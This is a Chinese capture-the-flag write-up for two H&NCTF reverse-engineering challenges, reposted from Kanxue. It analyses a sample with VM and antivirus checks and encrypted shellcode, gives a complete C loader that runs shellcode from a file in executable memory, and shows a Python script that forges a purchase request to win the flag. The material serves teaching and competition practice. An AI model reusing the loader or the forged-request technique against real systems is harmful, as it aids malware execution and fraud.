一
RWhackA
题目分析
程序逻辑还原
调用myDLL1.dll的LocalHide函数
获取系统信息
检测是否开启虚拟机
寻找加载模块
检测系统版本和杀毒软件
shellcode分析
v4 = &unk_140003450;
v5 = 7i64;
do
{
v3 += 32;
v6 = *v4;
v7 = v4[1];
v4 += 8;
*(v3 - 8) = v6;
v8 = *(v4 - 6);
*(v3 - 7) = v7;
v9 = *(v4 - 5);
*(v3 - 6) = v8;
v10 = *(v4 - 4);
*(v3 - 5) = v9;
v11 = *(v4 - 3);
*(v3 - 4) = v10;
v12 = *(v4 - 2);
*(v3 - 3) = v11;
v13 = *(v4 - 1);
*(v3 - 2) = v12;
*(v3 - 1) = v13;
--v5;
}
while ( v5 );
v14 = *(v4 + 4);
v15 = 6;
v16 = -1162190778i64;
v17 = 1i64;
*v3 = *v4;
v3[4] = v14;
do
{
v18 = 227i64;
v19 = &v45;
v20 = 227;
v21 = &v44;
do
{
v22 = *v21;
v21 -= 4;
v19 -= 4;
v23 = *(&v41 + (v20 + 1) % 0xBu);
v24 = v17 ^ v18-- & 3;
*(v19 + 1) -= ((v23 ^ v16) + (si128.m128i_i32[v24] ^ v22)) ^ (((v22 >> 6) ^ (4 * v23)) + ((16 * v22) ^ (v23 >> 3)));
--v20;
}
while ( v20 );
v25 = v42 ^ v16;
v16 -= 1953785185i64;
v41 -= (v25 + (si128.m128i_i32[v17] ^ v43)) ^ (((v43 >> 6) ^ (4 * v42)) + ((16 * v43) ^ (v42 >> 3)));
v17 = (v16 >> 2) & 3;
--v15;
}
while ( v15 );
v26 = &v41;
for ( i = 0; i < 0x393; ++i )
sub_140001010("%c ", *v26++);
#include <windows.h>
#include <stdio.h>
// 从文件加载shellcode的函数声明
BOOL LoadShellcodeFromFile(const char* filename, PBYTE* shellcode, DWORD* size);
// shellcode执行函数声明
void ExecuteShellcode(PBYTE shellcode);
int main() {
PBYTE shellcode;
DWORD size;
// 从文件加载shellcode
if (!LoadShellcodeFromFile("dump.bin", &shellcode, &size)) {
printf("Failed to load shellcode from file.n");
return 1;
}
// 执行shellcode
ExecuteShellcode(shellcode);
// 清理资源
VirtualFree(shellcode, 0, MEM_RELEASE);
return 0;
}
// 从文件加载shellcode到内存的函数实现
BOOL LoadShellcodeFromFile(const char* filename, PBYTE* shellcode, DWORD* size) {
HANDLE file;
DWORD bytesRead;
// 打开文件
file = CreateFileA(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) {
return FALSE;
}
// 获取文件大小
*size = GetFileSize(file, NULL);
if (*size == INVALID_FILE_SIZE) {
CloseHandle(file);
return FALSE;
}
// 分配内存
*shellcode = (PBYTE)VirtualAlloc(NULL, *size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (*shellcode == NULL) {
CloseHandle(file);
return FALSE;
}
// 读取文件内容到内存
if (!ReadFile(file, *shellcode, *size, &bytesRead, NULL) || bytesRead != *size) {
VirtualFree(*shellcode, 0, MEM_RELEASE);
CloseHandle(file);
return FALSE;
}
// 关闭文件
CloseHandle(file);
return TRUE;
}
// 执行shellcode的函数实现
void ExecuteShellcode(PBYTE shellcode) {
// 将shellcode地址转换为函数指针
void (*func)() = (void(*)())shellcode;
// 调用函数指针,执行shellcode
func();
}
debug029:000001C1E53B002D xor rax, rax
debug029:000001C1E53B0030 lodsb
debug029:000001C1E53B0031 cmp al, 61h ; 'a'
debug029:000001C1E53B0033 jl short loc_1C1E53B0037
debug029:000001C1E53B0035 sub al, 20h ; ' '
debug029:000001C1E53B0037
debug029:000001C1E53B0037 loc_1C1E53B0037: ; CODE XREF: sub_1C1E53B0000+33↑j
debug029:000001C1E53B0037 ror r9d, 0Dh
debug029:000001C1E53B003B add r9d, eax
debug029:000001C1E53B003E loop loc_1C1E53B002D
二
ezshopping
题目分析
private void verifyPurchase(final String str, final double d, final String str2) {
Volley.newRequestQueue(this).add(new StringRequest(1, URL.purchaseURL, new Response.Listener() { // from class: com.swdd.ezshoping.shopActivity$$ExternalSyntheticLambda2
@Override // com.android.volley.Response.Listener
public final void onResponse(Object obj) {
shopActivity.this.m95lambda$verifyPurchase$0$comswddezshopingshopActivity((String) obj);
}
}, new Response.ErrorListener() { // from class: com.swdd.ezshoping.shopActivity$$ExternalSyntheticLambda3
@Override // com.android.volley.Response.ErrorListener
public final void onErrorResponse(VolleyError volleyError) {
shopActivity.this.m96lambda$verifyPurchase$2$comswddezshopingshopActivity(volleyError);
}
}) { // from class: com.swdd.ezshoping.shopActivity.1
@Override // com.android.volley.Request
protected Map<String, String> getParams() {
HashMap hashMap = new HashMap();
hashMap.put("username", str);
hashMap.put("Money", String.format("%.2f", Double.valueOf(d)));
hashMap.put("signature", str2);
return hashMap;
}
});
}
/* JADX INFO: Access modifiers changed from: package-private */
/* renamed from: lambda$verifyPurchase$2$com-swdd-ezshoping-shopActivity reason: not valid java name */
public /* synthetic */ void m96lambda$verifyPurchase$2$comswddezshopingshopActivity(VolleyError volleyError) {
if (volleyError.networkResponse != null) {
switch (volleyError.networkResponse.statusCode) {
case TypedValues.CycleType.TYPE_VISIBILITY /* 402 */:
Toast.makeText(this, "Insufficient funds to complete the purchase.", 1).show();
return;
case TypedValues.CycleType.TYPE_ALPHA /* 403 */:
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("ERROR!");
builder.setMessage("小伙子别想改我代码!");
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.swdd.ezshoping.shopActivity$$ExternalSyntheticLambda0
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
}
});
builder.show();
return;
case 404:
Toast.makeText(this, "User not found.", 1).show();
return;
default:
Toast.makeText(this, "An error occurred: " + volleyError.toString(), 1).show();
return;
}
}
Toast.makeText(this, "Network error, no response received.", 1).show();
}
伪造数据包
import socket
# 指定服务器地址和端口
server_address = ('hnctf.imxbt.cn', 20528)
# 指定表单数据
form_data = {
# 这里应该填入POST请求的具体数据
"Money": "114514.00",
"signature": "376c4fe518240bc513f67bf477d5d950d757d51bb58db594fa4551e248364413",
"username": "" #填自己的用户名即可
}
# 将表单数据转换为application/x-www-form-urlencoded格式
form_data_encoded = "&".join("{}={}".format(key, val) for key, val in form_data.items())
# 准备HTTP请求头
http_request = """POST /purchase HTTP/1.1r
Host: hnctf.imxbt.cn:20528r
If-None-Match: W/"12-hfcD7BKoo9fJ4GgYnq9Rj3aNpD8"r
Content-Type: application/x-www-form-urlencoded; charset=UTF-8r
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; PCRT00 Build/PQ3A.190605.01231654)r
Connection: Keep-Aliver
Accept-Encoding: gzipr
Content-Length: {}r
r
""".format(len(form_data_encoded))
# 完整的HTTP请求数据
http_request += form_data_encoded
# 创建TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到服务器
sock.connect(server_address)
# 发送HTTP请求
sock.sendall(http_request.encode())
# 接收响应数据
response = sock.recv(4096)
print(response.decode())
# 关闭socket连接
sock.close()
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 61
ETag: W/"3d-lbjcXjt9Oql9sd2OEm6pVRILsSE"
Date: Thu, 16 May 2024 01:31:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5
H&NCTF{Congratulati0ns!_3cad3260-0c7e-4d98-afbc-814cc5221fcc}
思考
看雪ID:ccccl1180
https://bbs.kanxue.com/user-home-975140.htm
# 往期推荐
2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
3、银狐样本分析
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):H&NCTF RE 部分题解